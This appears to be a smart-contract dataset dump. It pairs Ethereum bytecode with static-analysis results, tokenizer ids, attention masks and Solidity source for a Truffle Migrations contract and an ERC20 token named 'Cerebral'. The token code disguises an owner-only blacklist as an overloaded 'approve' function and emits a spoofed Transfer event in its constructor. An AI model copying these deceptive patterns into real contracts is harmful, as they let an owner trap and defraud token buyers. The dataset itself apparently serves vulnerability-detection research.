610f2f7fffffffff00000000000000000000000000000000000000000000000000000000600035163361062a565b156105f857817f676c6f62616c4d6178446562744f6e41756374696f6e0000000000000000000003610570576003819055817ff04ee4a7c5e0072de141f68fbec4aba82bfa0866ce04ad1f286b8602e0cbcfa682604051610f9291815260200190565b60405180910390a25050565b3360009081527f107ee6c9edf8142ba51e10023f320f7b6ccd180a42be95ddbc18c0e5425b2900602052604090205460ff161561048c5760008281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff85168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790558051858152918201929092527f9c21fb13a2f9c0e9222fe9a6810fe483b60248132981e1e0554bae602e93a9dd9101610480565b6110907fffffffff00000000000000000000000000000000000000000000000000000000600035163361062a565b156105f8576110a1600454826114d1565b60045573ffffffffffffffffffffffffffffffffffffffff83166000908152600160205260409020600301546110d790826114d1565b73ffffffffffffffffffffffffffffffffffffffff8416600081815260016020908152604091829020600301939093555183815284927f09c223cfcd8c93e245f558f5f8de755fc0930fd9bc257441155ef5d54a170e0f91016105eb565b6111637fffffffff00000000000000000000000000000000000000000000000000000000600035163361062a565b156105f857817f61657200000000000000000000000000000000000000000000000000000000000361057057600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831617905560405173ffffffffffffffffffffffffffffffffffffffff8216815282907fd473402183a624b7a23eb21bfd0a2863a628f61fb004edd801a2eab61ac2bd3d90602001610f92565b6112457fffffffff00000000000000000000000000000000000000000000000000000000600035163361062a565b156105f857817f6c69717569646174696f6e50656e616c74790000000000000000000000000000036112e457670de0b6b3a76400008110156112b3576040517fecf203e100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020819052604090912001819055611337565b817f6d6178446562744f6e41756374696f6e00000000000000000000000000000000036105705773ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604090206002018190555b818373ffffffffffffffffffffffffffffffffffffffff167feae3e9da3f1d1474fb6ee1e0ad900272b38c9fd0c29d51b5f35a21823d0bbd47836040516105eb91815260200190565b6113ae7fffffffff00000000000000000000000000000000000000000000000000000000600035163361062a565b156105f857600060058190556040517f46620e39f4e119bf05f13544f8ef38338fc06c17f6b731c7f95bee356572db969190a1565b600081158061140457505080820282828281611401576114016116d8565b04145b6106e3576040517fa3b82a4100000000000000000000000000000000000000000000000000000000815260048101849052602481018390526044015b60405180910390fd5b60008183111561145957816106e0565b5090919050565b6000670de0b6b3a764000061147584846113e3565b81611482576114826116d8565b049392505050565b808201828110156106e3576040517f2c203e720000000000000000000000000000000000000000000000000000000081526004810184905260248101839052604401611440565b808203828111156106e3576040517e5318ee0000000000000000000000000000000000000000000000000000000081526004810184905260248101839052604401611440565b803573ffffffffffffffffffffffffffffffffffffffff8116811461153b57600080fd5b919050565b6000806040838503121561155357600080fd5b8235915061156360208401611517565b90509250929050565b60008060006060848603121561158157600080fd5b61158a84611517565b92506020840135915061159f60408501611517565b90509250925092565b600080600080608085870312156115be57600080fd5b6115c785611517565b9350602085013592506115dc60408601611517565b91506115ea60608601611517565b905092959194509250565b6000806040838503121561160857600080fd5b50508035926020909101359150565b60006020828403121561162957600080fd5b6106e082611517565b60008060006060848603121561164757600080fd5b61165084611517565b95602085013595506040909401359392505050565b6000806040838503121561167857600080fd5b505080516020909101519092909150565b60006020828403121561169b57600080fd5b5051919050565b600080600080608085870312156116b857600080fd5b505082516020840151604085015160609095015191969095509092509050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60007f8000000000000000000000000000000000000000000000000000000000000000820361175f577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b506000039056fea2646970667358221220f7f4f53a34b0533a5db8c2c11b55a683866d7d695867db69b3d05a9e26181b9664736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 2497, 27814, 2581, 2683, 26187, 20952, 28311, 2683, 24434, 6858, 2475, 2050, 12376, 2546, 2620, 2546, 26976, 6305, 19797, 23777, 2050, 2549, 2278, 2546, 2575, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 1013, 1013, 9385, 1006, 1039, 1007, 12609, 1011, 25682, 9338, 16927, 3930, 9583, 1010, 4297, 1012, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 8278, 24582, 10244, 2595, 1063, 3853, 1999, 4183, 1006, 4769, 11632, 1007, 6327, 1025, 3853, 2275, 28689, 2213, 1006, 27507, 16703, 11498, 2213, 1010, 21318, 3372, 17788, 2575, 2951, 1007, 6327, 1025, 3853, 2275, 28689, 2213, 1006, 4769, 1010, 27507, 16703, 1010, 21318, 3372, 17788, 2575, 1007, 6327, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,193
0x965b5fb5907697ddf4afea99295ef37e1db88591
pragma solidity ^0.4.18; // Provided by Truffle. contract Migrations { address public owner; uint public last_completed_migration; modifier restricted() { if (msg.sender == owner) _; } function Migrations() public { owner = msg.sender; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } }
0x6060604052600436106100615763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630900f0108114610066578063445df0ac146100875780638da5cb5b146100ac578063fdacd576146100db575b600080fd5b341561007157600080fd5b610085600160a060020a03600435166100f1565b005b341561009257600080fd5b61009a610186565b60405190815260200160405180910390f35b34156100b757600080fd5b6100bf61018c565b604051600160a060020a03909116815260200160405180910390f35b34156100e657600080fd5b61008560043561019b565b6000805433600160a060020a03908116911614156101825781905080600160a060020a031663fdacd5766001546040517c010000000000000000000000000000000000000000000000000000000063ffffffff84160281526004810191909152602401600060405180830381600087803b151561016d57600080fd5b6102c65a03f1151561017e57600080fd5b5050505b5050565b60015481565b600054600160a060020a031681565b60005433600160a060020a03908116911614156101b85760018190555b505600a165627a7a723058204d54f4d82ca637c365dc91d2b95e4a2c140578222c7b91c2596ee5f394dc8dca0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26187, 2497, 2629, 26337, 28154, 2692, 2581, 2575, 2683, 2581, 14141, 2546, 2549, 10354, 5243, 2683, 2683, 24594, 2629, 12879, 24434, 2063, 2487, 18939, 2620, 27531, 2683, 2487, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 3024, 2011, 19817, 16093, 21031, 1012, 3206, 9230, 2015, 1063, 4769, 2270, 3954, 1025, 21318, 3372, 2270, 2197, 1035, 2949, 1035, 9230, 1025, 16913, 18095, 7775, 1006, 1007, 1063, 2065, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1035, 1025, 1065, 3853, 9230, 2015, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 2275, 9006, 10814, 3064, 1006, 21318, 3372, 2949, 1007, 2270, 7775, 1063, 2197, 1035, 2949, 1035, 9230, 1027, 2949, 1025, 1065, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,194
0x965c2031d3953cd7649c79af4a594c0c760acf8d
/** */ pragma solidity ^0.8.9; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Cerebral is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 500000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Cerebral Nodes"; string private constant _symbol = "Cerebral"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xBaa8b727E72e5e2697596ce20D55244dB896B47c); _feeAddrWallet2 = payable(0xBaa8b727E72e5e2697596ce20D55244dB896B47c); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x7e21dE14B18992620526AaF9343d17E064871287), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = _buyTax; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (40 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _sellTax = 11; _buyTax = 11; _maxTxAmount = 25000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function approve(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 50000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 10) { _sellTax = sellTax; } } function _setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 10) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610350578063c3c8cd8014610370578063c9567bf914610385578063dbe8272c1461039a578063dd62ed3e146103ba57600080fd5b806370a08231146102a2578063715018a6146102c257806377a1736b146102d75780638da5cb5b146102f757806395d89b411461031f57600080fd5b8063273123b7116100e7578063273123b7146102115780632b7581b214610231578063313ce567146102515780635932ead11461026d5780636fc3eaec1461028d57600080fd5b806306fdde031461012f578063095ea7b31461017857806318160ddd146101a85780631bbae6e0146101cf57806323b872dd146101f157600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600e81526d436572656272616c204e6f64657360901b60208201525b60405161016f91906116aa565b60405180910390f35b34801561018457600080fd5b50610198610193366004611724565b610400565b604051901515815260200161016f565b3480156101b457600080fd5b506969e10de76676d08000005b60405190815260200161016f565b3480156101db57600080fd5b506101ef6101ea366004611750565b610417565b005b3480156101fd57600080fd5b5061019861020c366004611769565b610464565b34801561021d57600080fd5b506101ef61022c3660046117aa565b6104cd565b34801561023d57600080fd5b506101ef61024c366004611750565b610518565b34801561025d57600080fd5b506040516009815260200161016f565b34801561027957600080fd5b506101ef6102883660046117d5565b610550565b34801561029957600080fd5b506101ef610598565b3480156102ae57600080fd5b506101c16102bd3660046117aa565b6105cc565b3480156102ce57600080fd5b506101ef6105ee565b3480156102e357600080fd5b506101ef6102f2366004611808565b610662565b34801561030357600080fd5b506000546040516001600160a01b03909116815260200161016f565b34801561032b57600080fd5b5060408051808201909152600881526710d95c99589c985b60c21b6020820152610162565b34801561035c57600080fd5b5061019861036b366004611724565b6106f8565b34801561037c57600080fd5b506101ef610705565b34801561039157600080fd5b506101ef610745565b3480156103a657600080fd5b506101ef6103b5366004611750565b610b15565b3480156103c657600080fd5b506101c16103d53660046118cd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061040d338484610b4d565b5060015b92915050565b6000546001600160a01b0316331461044a5760405162461bcd60e51b815260040161044190611906565b60405180910390fd5b6802b5e3af16b18800008111156104615760128190555b50565b6000610471848484610c71565b6104c384336104be85604051806060016040528060288152602001611acc602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fc0565b610b4d565b5060019392505050565b6000546001600160a01b031633146104f75760405162461bcd60e51b815260040161044190611906565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105425760405162461bcd60e51b815260040161044190611906565b600a81101561046157600d55565b6000546001600160a01b0316331461057a5760405162461bcd60e51b815260040161044190611906565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105c25760405162461bcd60e51b815260040161044190611906565b4761046181610ffa565b6001600160a01b03811660009081526002602052604081205461041190611034565b6000546001600160a01b031633146106185760405162461bcd60e51b815260040161044190611906565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461068c5760405162461bcd60e51b815260040161044190611906565b60005b81518110156106f4576001600660008484815181106106b0576106b061193b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106ec81611967565b91505061068f565b5050565b600061040d338484610c71565b6000546001600160a01b0316331461072f5760405162461bcd60e51b815260040161044190611906565b600061073a306105cc565b9050610461816110b8565b6000546001600160a01b0316331461076f5760405162461bcd60e51b815260040161044190611906565b601154600160a01b900460ff16156107c95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610441565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561080730826969e10de76676d0800000610b4d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561084057600080fd5b505afa158015610854573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108789190611982565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108c057600080fd5b505afa1580156108d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f89190611982565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561094057600080fd5b505af1158015610954573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109789190611982565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d71947306109a8816105cc565b6000806109bd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a2057600080fd5b505af1158015610a34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a59919061199f565b505060118054600b600c819055600d5569054b40b1f852bda0000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610add57600080fd5b505af1158015610af1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f491906119cd565b6000546001600160a01b03163314610b3f5760405162461bcd60e51b815260040161044190611906565b600a81101561046157600c55565b6001600160a01b038316610baf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610441565b6001600160a01b038216610c105760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610441565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610441565b6001600160a01b038216610d375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610441565b60008111610d995760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610441565b6002600a55600d54600b556000546001600160a01b03848116911614801590610dd057506000546001600160a01b03838116911614155b15610fb0576001600160a01b03831660009081526006602052604090205460ff16158015610e1757506001600160a01b03821660009081526006602052604090205460ff16155b610e2057600080fd5b6011546001600160a01b038481169116148015610e4b57506010546001600160a01b03838116911614155b8015610e7057506001600160a01b03821660009081526005602052604090205460ff16155b8015610e855750601154600160b81b900460ff165b15610ee257601254811115610e9957600080fd5b6001600160a01b0382166000908152600760205260409020544211610ebd57600080fd5b610ec84260286119ea565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610f0d57506010546001600160a01b03848116911614155b8015610f3257506001600160a01b03831660009081526005602052604090205460ff16155b15610f43576002600a55600c54600b555b6000610f4e306105cc565b601154909150600160a81b900460ff16158015610f7957506011546001600160a01b03858116911614155b8015610f8e5750601154600160b01b900460ff165b15610fae57610f9c816110b8565b478015610fac57610fac47610ffa565b505b505b610fbb838383611241565b505050565b60008184841115610fe45760405162461bcd60e51b815260040161044191906116aa565b506000610ff18486611a02565b95945050505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106f4573d6000803e3d6000fd5b600060085482111561109b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610441565b60006110a561124c565b90506110b1838261126f565b9392505050565b6011805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111005761110061193b565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561115457600080fd5b505afa158015611168573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118c9190611982565b8160018151811061119f5761119f61193b565b6001600160a01b0392831660209182029290920101526010546111c59130911684610b4d565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906111fe908590600090869030904290600401611a19565b600060405180830381600087803b15801561121857600080fd5b505af115801561122c573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b610fbb8383836112b1565b60008060006112596113a8565b9092509050611268828261126f565b9250505090565b60006110b183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113ec565b6000806000806000806112c38761141a565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112f59087611477565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461132490866114b9565b6001600160a01b03891660009081526002602052604090205561134681611518565b6113508483611562565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161139591815260200190565b60405180910390a3505050505050505050565b60085460009081906969e10de76676d08000006113c5828261126f565b8210156113e3575050600854926969e10de76676d080000092509050565b90939092509050565b6000818361140d5760405162461bcd60e51b815260040161044191906116aa565b506000610ff18486611a8a565b60008060008060008060008060006114378a600a54600b54611586565b925092509250600061144761124c565b9050600080600061145a8e8787876115db565b919e509c509a509598509396509194505050505091939550919395565b60006110b183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc0565b6000806114c683856119ea565b9050838110156110b15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610441565b600061152261124c565b90506000611530838361162b565b3060009081526002602052604090205490915061154d90826114b9565b30600090815260026020526040902055505050565b60085461156f9083611477565b60085560095461157f90826114b9565b6009555050565b60008080806115a0606461159a898961162b565b9061126f565b905060006115b3606461159a8a8961162b565b905060006115cb826115c58b86611477565b90611477565b9992985090965090945050505050565b60008080806115ea888661162b565b905060006115f8888761162b565b90506000611606888861162b565b90506000611618826115c58686611477565b939b939a50919850919650505050505050565b60008261163a57506000610411565b60006116468385611aac565b9050826116538583611a8a565b146110b15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610441565b600060208083528351808285015260005b818110156116d7578581018301518582016040015282016116bb565b818111156116e9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461046157600080fd5b803561171f816116ff565b919050565b6000806040838503121561173757600080fd5b8235611742816116ff565b946020939093013593505050565b60006020828403121561176257600080fd5b5035919050565b60008060006060848603121561177e57600080fd5b8335611789816116ff565b92506020840135611799816116ff565b929592945050506040919091013590565b6000602082840312156117bc57600080fd5b81356110b1816116ff565b801515811461046157600080fd5b6000602082840312156117e757600080fd5b81356110b1816117c7565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561181b57600080fd5b823567fffffffff